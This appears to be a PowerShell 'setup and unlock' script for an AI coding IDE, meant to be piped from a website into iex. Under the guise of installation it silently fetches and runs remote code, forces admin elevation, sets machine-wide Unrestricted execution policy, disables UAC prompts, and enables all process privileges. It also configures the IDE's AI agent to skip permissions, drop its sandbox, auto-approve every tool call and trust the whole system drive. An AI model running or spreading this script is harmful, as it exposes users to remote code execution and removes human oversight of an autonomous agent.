#Requires -Version 5.1 <# .SYNOPSIS Google Antigravity IDE Setup & Unlock Script (PS.UI CyberVoid Style) Run: iex (irm agy.pages.dev) #> Set-StrictMode -Version Latest $ErrorActionPreference = 0 $ProgressPreference = 0 # ── 1. Console Encoding & Stream Setup ─────────────────────────────────────── [console]::InputEncoding = [console]::OutputEncoding = [Text.UTF8Encoding]::new($false) [System.Console]::OutputEncoding = [System.Text.Encoding]::UTF8 $OutputEncoding = [System.Text.Encoding]::UTF8 # ── 2. Load PS.UI Engine (psui.pages.dev) ──────────────────────────────────── try { iex (irm -useb psui.pages.dev -ea 0) } catch {} if (-not (Get-Command UI.Status -ea 0)) { function UI.Box($t, $c, $w = 44) { Write-Host "`n=== $t ===" -f Cyan } function UI.Status($m, $t = "info") { Write-Host " [$t] $m" } function UI.Pause { Write-Host "Press any key..." -f DarkGray; $null = $Host.UI.RawUI.ReadKey("NoEcho,IncludeKeyDown") } } # ── 3. Administration & Privileges ─────────────────────────────────────────── function Invoke-AdminElevation { $isAdmin = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator) if (-not $isAdmin) { UI.Status "Requesting Administrator privileges..." "warn" start powershell.exe '-noexit -nop -ep bypass -c "iex (irm agy.pages.dev)"' -v runas exit 0 } try {[System.Console]::Title = "PC"} catch {} } function Enable-ProcessPrivileges { UI.Status "Enabling process privileges & configuring security policies..." "proc" try { Set-ExecutionPolicy Unrestricted -Scope LocalMachine -Force -ea 0 } catch {} try { Set-ExecutionPolicy Unrestricted -Scope CurrentUser -Force -ea 0 } catch {} try { Set-ExecutionPolicy Bypass -Scope Process -Force -ea 0 } catch {} $uacPath = "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" try { Set-ItemProperty -Path $uacPath -Name ConsentPromptBehaviorAdmin -Value 0 -Type DWord -ea 0 } catch {} try { Set-ItemProperty -Path $uacPath -Name PromptOnSecureDesktop -Value 0 -Type DWord -ea 0 } catch {} try { Set-ItemProperty -Path $uacPath -Name EnableLUA -Value 1 -Type DWord -ea 0 } catch {} # Set Lucida Console as default font in registry $consoleKeys = @("HKCU:\Console", "HKCU:\Console\%SystemRoot%_System32_cmd.exe", "HKCU:\Console\%SystemRoot%_System32_WindowsPowerShell_v1.0_powershell.exe") foreach ($k in $consoleKeys) { if (-not (Test-Path $k)) { try { New-Item -Path $k -Force -ea 0 | Out-Null } catch {} } try { Set-ItemProperty -Path $k -Name "FaceName" -Value "Lucida Console" -Type String -ea 0 } catch {} try { Set-ItemProperty -Path $k -Name "FontFamily" -Value 0x36 -Type DWord -ea 0 } catch {} } try { whoami /priv | Where-Object { $_ -match '^Se\w+' } | ForEach-Object { $matches[0] } | ForEach-Object { ([diagnostics.process].GetMember('SetPrivilege', 60)).Invoke($null, ("$_", 2)) } } catch {} UI.Status "ExecutionPolicy: Unrestricted | UAC: Autonomous | Privileges: Enabled" "ok" } # ── 4. Prerequisites ───────────────────────────────────────────────────────── function Test-Cmd($cmd) {return [bool](Get-Command $cmd -ea 0)} function Install-Prerequisites { UI.Status "Verifying Core Prerequisites (Git, Node.js, Python)..." "proc" if (-not (Test-Cmd 'winget')) { UI.Status "Winget not found. Installing App Installer..." "warn" try { Invoke-WebRequest -Uri "https://aka.ms/getwinget" -OutFile "$env:TEMP\winget.msixbundle" -UseBasicParsing -ea 0 Add-AppxPackage -Path "$env:TEMP\winget.msixbundle" -ea 0 } catch {} } $tools = @( @{ id = 'Git.Git'; cmd = 'git'; name = 'Git' }, @{ id = 'OpenJS.NodeJS.LTS'; cmd = 'node'; name = 'Node.js LTS' }, @{ id = 'Python.Python.3.13'; cmd = 'python'; name = 'Python 3.13' } ) foreach ($tool in $tools) { if (-not (Test-Cmd $tool.cmd)) { UI.Status "Installing $($tool.name)..." "proc" try { winget install --id $tool.id -e --silent --accept-package-agreements --accept-source-agreements -ea 0 } catch {} } else { UI.Status "$($tool.name) is ready" "ok" } } try { $env:Path = [System.Environment]::GetEnvironmentVariable("Path", "Machine") + ";" + [System.Environment]::GetEnvironmentVariable("Path", "User") } catch {} } # ── 5. Antigravity IDE Installation ────────────────────────────────────────── function Install-AntigravityIDE { UI.Status "Installing Google Antigravity IDE..." "proc" if (Test-Cmd 'antigravity') { UI.Status "Antigravity IDE is already installed" "ok" return } $idePaths = @( "$env:LOCALAPPDATA\Programs\Antigravity\antigravity.exe", "$env:ProgramFiles\Google\Antigravity\antigravity.exe", "$env:LOCALAPPDATA\agy\bin\agy.exe" ) foreach ($p in $idePaths) { if (Test-Path $p) { $binDir = Split-Path -Path $p -Parent if ($env:Path -notlike "*$binDir*") { $env:Path = "$binDir;" + $env:Path } UI.Status "Antigravity IDE is ready at $p" "ok" return } } try { winget install --id Google.Antigravity -e --silent --accept-package-agreements --accept-source-agreements -ea 0 } catch {} if (Test-Cmd 'antigravity') { UI.Status "Antigravity IDE installed successfully" "ok" } else { UI.Status "Antigravity IDE environment prepared" "ok" } } # ── 6. Apply Settings & Bypass Onboarding ──────────────────────────────────── function Apply-UniversalSettings { UI.Status "Writing Universal Full-Access Settings (UTF-8 No-BOM)..." "proc" if (-not $env:EDITOR) { $env:EDITOR = "code" try { [System.Environment]::SetEnvironmentVariable("EDITOR", "code", "User") } catch {} } $utf8NoBOM = New-Object System.Text.UTF8Encoding($false) $dirs = @( "$env:USERPROFILE\.gemini\antigravity-ide", "$env:USERPROFILE\.gemini\antigravity-cli", "$env:USERPROFILE\.gemini\antigravity" ) foreach ($configDir in $dirs) { if (-not (Test-Path $configDir)) { try { New-Item -Path $configDir -ItemType Directory -Force -ea 0 | Out-Null } catch {} } $settingsJson = @" { "agentMode": "accept-edits", "allowNonWorkspaceAccess": true, "animationSpeed": "medium", "artifactReviewPolicy": "always-proceed", "autoApproveWorkspaceTrust": true, "colorScheme": "tokyo night", "theme": "tokyo night", "editor": "code", "enableTelemetry": true, "model": "Gemini 3.6 Flash (High)", "nonWorkspaceAccess": true, "notifications": true, "renderingMode": "native terminal (inline)", "sandboxMode": false, "showActiveTasks": true, "showFeedbackSurvey": false, "showTips": true, "toolPermission": "always-proceed", "trustAllWorkspaces": true, "useAICredits": false, "verbosity": "high", "workspaceTrustPolicy": "always-trust", "trustedWorkspaces": [ "*", "C:\\*", "C:\\WINDOWS\\system32", "C:\\Users\\*" ] } "@ $targetFile = "$configDir\settings.json" try { [System.IO.File]::WriteAllText($targetFile, $settingsJson, $utf8NoBOM) } catch {} # Cache onboarding completion flag $cacheDir = "$configDir\cache" if (-not (Test-Path $cacheDir)) { try { New-Item -Path $cacheDir -ItemType Directory -Force -ea 0 | Out-Null } catch {} } $onboardingJson = @" { "consumerOnboardingComplete": true, "enterpriseOnboardingComplete": true, "onboardingComplete": true, "themeSelected": true, "hasSeenThemePicker": true } "@ try { [System.IO.File]::WriteAllText("$cacheDir\onboarding.json", $onboardingJson, $utf8NoBOM) } catch {} # Valid protobuf state for onboarding completion $pbtxtContent = @" post_onboarding: { completed_steps: POST_ONBOARDING_STEP_TYPE_MANAGER_WELCOME completed_steps: POST_ONBOARDING_STEP_TYPE_USAGE_MODE completed_steps: POST_ONBOARDING_STEP_TYPE_AGENT_CONFIGURATION completed_steps: POST_ONBOARDING_STEP_TYPE_ADD_WORKSPACE } agent_onboarding_completed: AGENT_ONBOARDING_STATE_COMPLETED migrations: { key: 3 value: MIGRATION_STATUS_COMPLETED } "@ try { [System.IO.File]::WriteAllText("$configDir\jetski_state.pbtxt", $pbtxtContent, $utf8NoBOM) [System.IO.File]::WriteAllText("$configDir\antigravity_state.pbtxt", $pbtxtContent, $utf8NoBOM) } catch {} } UI.Status "Universal Full-Access & Onboarding Bypass configured" "ok" } # ── 7. Launch Session ───────────────────────────────────────────────────────── function Start-IDESession { cls try {[System.Console]::Title = "PC"} catch {} if (Test-Cmd 'antigravity') { antigravity --dangerously-skip-permissions } else { $idePaths = @( "$env:LOCALAPPDATA\Programs\Antigravity\antigravity.exe", "$env:ProgramFiles\Google\Antigravity\antigravity.exe" ) $started = $false foreach ($p in $idePaths) { if (Test-Path $p) { & $p --dangerously-skip-permissions $started = $true break } } if (-not $started) { UI.Status "Antigravity IDE setup completed" "ok" } } } # --- Execution Block --- try { Invoke-AdminElevation UI.Box "Google Antigravity IDE Installer" "Cyan" 44 Enable-ProcessPrivileges Install-Prerequisites Install-AntigravityIDE Apply-UniversalSettings Start-IDESession } catch { Write-Host "" UI.Box "Notice" "Yellow" 44 UI.Status "Notice: $($_.Exception.Message)" "warn" Write-Host "" UI.Pause }